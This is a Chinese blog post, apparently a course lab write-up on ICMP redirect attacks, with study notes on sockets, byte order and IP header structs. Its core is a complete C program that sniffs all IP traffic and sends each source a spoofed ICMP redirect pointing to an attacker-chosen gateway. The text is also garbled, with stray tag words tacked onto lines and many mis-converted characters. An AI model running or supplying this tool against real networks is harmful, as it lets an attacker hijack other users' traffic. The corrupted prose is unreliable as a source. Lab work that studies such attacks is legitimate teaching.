文章不講解理論知識哈,想學習理論知識的,認真聽課😄,也能夠參考郭老師的講義:信息安全課程 ustcsse308html
對於Linux,我只是個半路闖進來的小白,作實驗過程當中常常會被Linux內核玩得懷疑人生。因此我以爲頗有必要先闡明實驗的環境,以避免各位同窗不當心掉坑裏。固然,若是你就是想爬坑,咱也攔不住😄linux
實驗環境 / 工具:編程
你可能用得上的網站:ubuntu
相關實驗:安全
回到目錄網絡
須要注意,下面代碼的攻擊目標不是對特定的IP,而是對全部捕獲到的IP包都發送重定向包,若是你想修改過濾邏輯,修改pass_filter()方法就能夠了。socket
代碼 lcx-icmp.c 以下:tcp
1 #include<stdlib.h> 2 #include<stdio.h> 3 #include<string.h> 4 #include<unistd.h> 5 #include<sys/types.h> 6 #include<sys/socket.h> 7 #include<netinet/in.h> 8 #include<netinet/ip_icmp.h> 9 #include<linux/if_ether.h> 10 #include<arpa/inet.h> 11 12 #define BUFF_SIZE 2048 13 #define SUCCESS 1 14 #define FAILURE -1 15 16 const char *cmd_gateway = "-g"; 17 const char *cmd_srcip = "--src-ip"; 18 struct sockaddr_in arg_gateway; 19 struct sockaddr_in arg_srcip; 20 struct sockaddr_in target; 21 int recvsockfd = -1; 22 int sendsockfd = -1; 23 int optval = 1; // setsockopt()函數中使用 24 unsigned char recvbuff[BUFF_SIZE]; 25 unsigned char sendbuff[BUFF_SIZE]; 26 27 // 方法聲明 28 int load_args(const int argc, char **); 29 void print_cmdprompt(); 30 int icmp_redirect(); 31 int pass_filter(); 32 unsigned short cksum(unsigned short *, int len); 33 34 int main(int argc, char* argv[]) { 35 if (load_args(argc, argv) < 0) { 36 printf("command format error!\n"); 37 print_cmdprompt(); 38 return FAILURE; 39 } 40 recvsockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); 41 sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 42 if (recvsockfd < 0 || sendsockfd < 0 43 || setsockopt(sendsockfd, SOL_IP, IP_HDRINCL, &optval, sizeof(optval))) { 44 perror("socket creation error"); 45 return FAILURE; 46 } 47 printf("lcx-icmp running...\n\n"); 48 while (1) { 49 bzero(recvbuff, BUFF_SIZE); 50 if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) > 0) { 51 if (pass_filter()) 52 icmp_redirect(); 53 } else { 54 sleep(1); 55 } 56 } 57 close(sendsockfd); 58 close(recvsockfd); 59 return SUCCESS; 60 } 61 62 /** 63 * 命令:lcx-icmp -g 192.168.23.132 --src-ip 192.168.23.2 64 * 65 * 載入參數: 66 * 1) arg_gateway: 192.168.23.132 67 * 2) arg_srcip: 192.168.23.2 68 * 69 * 參數標識: 70 * 1) argv[1]: -g 71 * 2) argv[3]: --src-ip 72 * 73 * @author southday 74 * @date 2019.03.29 75 */ 76 int load_args(const int argc, char *argv[]) { 77 if (argc != 5 78 || strcmp(argv[1], cmd_gateway) != 0 79 || strcmp(argv[3], cmd_srcip) != 0 80 || inet_aton(argv[2], &arg_gateway.sin_addr) == 0 81 || inet_aton(argv[4], &arg_srcip.sin_addr) == 0) 82 return FAILURE; 83 return SUCCESS; 84 } 85 86 /** 87 * 打印命令提示信息 88 * @author southday 89 * @date 2019.03.29 90 */ 91 void print_cmdprompt() { 92 printf("\nlcx-icmp -g [gateway_ip] --src-ip [from_ip]\n\n"); 93 printf("\t -g [gateway_ip] eg: -g 192.168.23.132\n"); 94 printf("\t--src-ip [from_ip] eg: --src-ip 192.168.23.2\n"); 95 } 96 97 /** 98 * 發送ICMP重定向包 99 * @author southday 100 * @date 2019.03.29 101 * @return 成功與否 102 */ 103 int icmp_redirect() { 104 // 以太網幀首部14字節:6B(dest_mac) + 6B(src_mac) + 2B(type or length) 105 struct ip *origin_ip = (struct ip *)(recvbuff + 14); 106 bzero(sendbuff, BUFF_SIZE); 107 108 // 構造IP首部 109 struct ip *ip = (struct ip *)sendbuff; 110 ip->ip_hl = 5; 111 ip->ip_v = 4; 112 ip->ip_tos = 0; 113 // 20B(IP首部) + 8B(重定向ICMP首部) + ?B(原始IP首部) + 8B(原始IP數據報的前8個字節) 114 ip->ip_len = htons(20 + 8 + (origin_ip->ip_hl<<2) + 8); 115 ip->ip_id = origin_ip->ip_id; 116 ip->ip_off = 0; 117 ip->ip_ttl = 64; 118 ip->ip_p = 1; // ICMP:1 119 ip->ip_sum = 0; 120 ip->ip_src = arg_srcip.sin_addr; 121 ip->ip_dst = origin_ip->ip_src; 122 // 計算IP首部校驗和,只涉及首部 123 ip->ip_sum = cksum((unsigned short *)ip, 20); 124 125 // 構造ICMP首部 126 struct icmp *icmp = (struct icmp *)(sendbuff + 20); 127 icmp->icmp_type = 5; // REDIRECT TYPE = 5 128 icmp->icmp_code = 1; // 對特定主機路由的改變 129 icmp->icmp_cksum = 0; 130 icmp->icmp_hun.ih_gwaddr = arg_gateway.sin_addr; 131 132 // 拷貝原始IP首部 + 原始IP數據報的前8個字節,拷貝到sendbuff的toaddr位置 133 unsigned char *toaddr = (unsigned char *)(sendbuff + 20 + 8); 134 // 從recvbuff中取: 原始IP首部(長度爲origin_ip->ip_hl<<2) + 原始IP數據報的前8個字節 135 memcpy(toaddr, (unsigned char *)origin_ip, (origin_ip->ip_hl<<2) + 8); 136 // 計算ICMP校驗和,涉及首部和數據部分,包括:8字節ICMP首部 + 原始IP首部 + 原始IP數據報的前8字節 137 icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + (origin_ip->ip_hl<<2) + 8); 138 139 // 打印IP包字節數據,便於調試 140 printf(" %02x %02x", sendbuff[0], sendbuff[1]); 141 for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) { 142 if (i % 16 == 0) 143 printf("\n"); 144 if (i % 8 == 0) 145 printf(" "); 146 printf("%02x ", sendbuff[i+2]); 147 } 148 printf("\n"); 149 150 target.sin_addr = ip->ip_dst; 151 int ret = sendto(sendsockfd, sendbuff, ntohs(ip->ip_len), 0, (struct sockaddr *)&target, sizeof(target)); 152 if (ret < 0) { 153 perror("send error"); 154 } else { 155 printf("send a icmp redirect package!\n"); 156 } 157 return SUCCESS; 158 } 159 160 /** 161 * 包過濾,過濾非TCP, UDP, ICMP的包 162 * @author southday 163 * @date 2019.03.29 164 * @return 是否經過過濾 165 */ 166 int pass_filter() { 167 // 以太網幀首部14字節:6B(dest_mac) + 6B(src_mac) + 2B(type or length) 168 struct ip *ip = (struct ip *)(recvbuff + 14); 169 return (ip->ip_p == IPPROTO_TCP 170 || ip->ip_p == IPPROTO_UDP 171 || ip->ip_p == IPPROTO_ICMP); 172 } 173 174 /** 175 * 計算校驗和 176 * 1) IP:IP首部 177 * 2) ICMP:首部+數據 178 * @param *addr 開始計算校驗和的入口地址 179 * @param len 計算校驗和所使用的數據長度,單位Byte 180 * @return 16位的校驗和 181 * 182 * @author southday 183 * @date 2019.03.29 184 */ 185 unsigned short cksum(unsigned short *addr, int len) { 186 int sum = 0; 187 unsigned short res = 0; 188 /* len -= 2,由於 sizeof(unsigned short) = 2; 189 * sum += *addr++,每次偏移2Byte 190 */ 191 for (; len > 1; sum += *addr++, len -= 2); 192 // 每次處理2Byte,可能會存在多餘的1Byte 193 sum += len == 1 ? *addr : 0; 194 // sum:高16位 + 低16位,高16位中存在可能的進位 195 sum = (sum >> 16) + (sum & 0xffff); 196 // sum + sum的高16位,高16位中存在可能的進位 197 sum += (sum >> 16); 198 // 通過2次對高16位中可能存在的進位進行處理,便可確保sum高16位中再無進位 199 res = ~sum; 200 return res; 201 }
回到目錄ide
mice端執行ping命令,以下:
hacker端執行lcx-icmp程序,以下:
我把發送的IP包字節打印出來,方便結合Wireshark進行調試;
下面的內容是我在作實驗過程當中遇到的問題、疑問、思考,對很多知識點也只是淺嘗輒止,僅供參考😊
1 ‘ETH_P_IP’ was not declared in this scope
添加頭文件:#include<linux/if_ether.h>
該頭文件位於:/usr/include/linux/if_ether.h
2 recv()、recvfrom() | send()、sendto()函數的使用
sendto(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrServ,sizeof(SOCKADDR)); // UDP send(sd, buffer, BUFSIZ, 0); // TCP recvfrom(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrClient,sizeof(SOCKADDR)); // UDP recv(sd, buffer, BUFSIZ, 0); // TCP
recvfrom 可同時應用於面向鏈接和無鏈接的套接字;recv 通常只用在面向鏈接的套接字,幾乎等同於recvfrom,只要將recvfrom的第5個參數設置爲NULL;
recvfrom 多了兩個參數,能夠用來接收對端的地址信息,這個對於udp這種無鏈接的,能夠很方便地進行回覆。若是在udp當中也使用recv,那麼就不知道該回復給誰了,若是你不須要回復的話,也是可使用的。對於tcp是已經知道對端的,就不必每次接收還多收一個地址,不必取地址信息,在accept中就能夠取得。
3 setsocketopt()函數
4 unsigned int ip_hl:4,這裏的:4是什麼意思?
位域,表示ip_hl只取4bit;位段(bit-field)是以位爲單位來定義結構體(或聯合體)中的成員變量所佔的空間。含有位段的結構體(聯合體)稱爲位段結構。採用位段結構既可以節省空間,又方便於操做。
5 爲何要使用htons(),ntohl(),ntohs(),htons()函數?
之因此須要這些函數是由於計算機數據表示存在兩種字節順序:NBO與HBO;
參考: socket編程爲何須要htons(), ntohl(), ntohs(),htons() 函數
htonl()--"Host to Network Long" ntohl()--"Network to Host Long" htons()--"Host to Network Short" ntohs()--"Network to Host Short"
數字所佔位數小於或等於一個字節(8 bits)時,不要用htons轉換。這是由於對於主機來講,大小尾端的最小單位爲字節(byte)。
網絡字節順序(NBO,Network Byte Order):按從高到低的順序存儲,在網絡上使用統一的網絡字節順序,能夠避免兼容性問題。
主機字節順序(HBO,Host Byte Order):不一樣的機器HBO不相同,與CPU設計有關,數據的順序是由cpu決定的,而與操做系統無關。
如 Intelx86結構下,short型數0x1234表示爲34 12,int型數0x12345678表示爲78 56 34 12;如IBM power PC結構下,short型數0x1234表示爲12 34,int型數0x12345678表示爲12 34 56 78;
6 關於大端法、小端法
例若有個變量x爲int型,存放在地址0x100的地方,其16進制值爲:0x12345678,地址範圍是0x100~0x103;
大端法存儲:
小端法存儲:
最高有效位( most significant bit,MSB)指的是一個n位二進制數字中的n-1位,具備最高的權值2^(n-1)。最低有效位和最高有效位是相對應的概念。在大端序中,msb即指最左端的位。
高、低字節:按平時書寫習慣,從左到右是高位到低位的順序;
高、低地址:內存地址能夠對應十六進制的數值,值大的爲高地址,不然爲低地址;
字節順序是指佔內存多於一個字節類型的數據在內存中的存放順序,一般有小端、大端兩種字節順序:
7 inet_aton()是什麼函數?檢測ip地址正確性?inet_ntoa()函數呢?
須要包含頭文件:
1 #include<sys/socket.h> 2 #include<netinet/in.h> 3 #include<arpa/inet.h>
返回值:
char *inet_ntoa(struct in_addr in);
8 爲何使用inet_pton()、inet_ntop()函數?它們與inet_aton()、inet_ntoa()有什麼區別?
1 struct iphdr 2 { 3 #if __BYTE_ORDER == __LITTLE_ENDIAN 4 unsigned int ihl:4; 5 unsigned int version:4; 6 #elif __BYTE_ORDER == __BIG_ENDIAN 7 unsigned int version:4; 8 unsigned int ihl:4; 9 #else 10 # error "Please fix <bits/endian.h>" 11 #endif 12 uint8_t tos; 13 uint16_t tot_len; 14 uint16_t id; 15 uint16_t frag_off; 16 uint8_t ttl; 17 uint8_t protocol; 18 uint16_t check; 19 uint32_t saddr; 20 uint32_t daddr; 21 /*The options start here. */ 22 }; 23 24 struct ip 25 { 26 #if __BYTE_ORDER == __LITTLE_ENDIAN 27 unsigned int ip_hl:4; /* header length */ 28 unsigned int ip_v:4; /* version */ 29 #endif 30 #if __BYTE_ORDER == __BIG_ENDIAN 31 unsigned int ip_v:4; /* version */ 32 unsigned int ip_hl:4; /* header length */ 33 #endif 34 uint8_t ip_tos; /* type of service */ 35 unsigned short ip_len; /* total length */ 36 unsigned short ip_id; /* identification */ 37 unsigned short ip_off; /* fragment offset field */ 38 #define IP_RF 0x8000 /* reserved fragment flag */ 39 #define IP_DF 0x4000 /* dont fragment flag */ 40 #define IP_MF 0x2000 /* more fragments flag */ 41 #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ 42 uint8_t ip_ttl; /* time to live */ 43 uint8_t ip_p; /* protocol */ 44 unsigned short ip_sum; /* checksum */ 45 struct in_addr ip_src, ip_dst; /* source and dest address */ 46 };
轉載請說明出處!😄 have a good time ~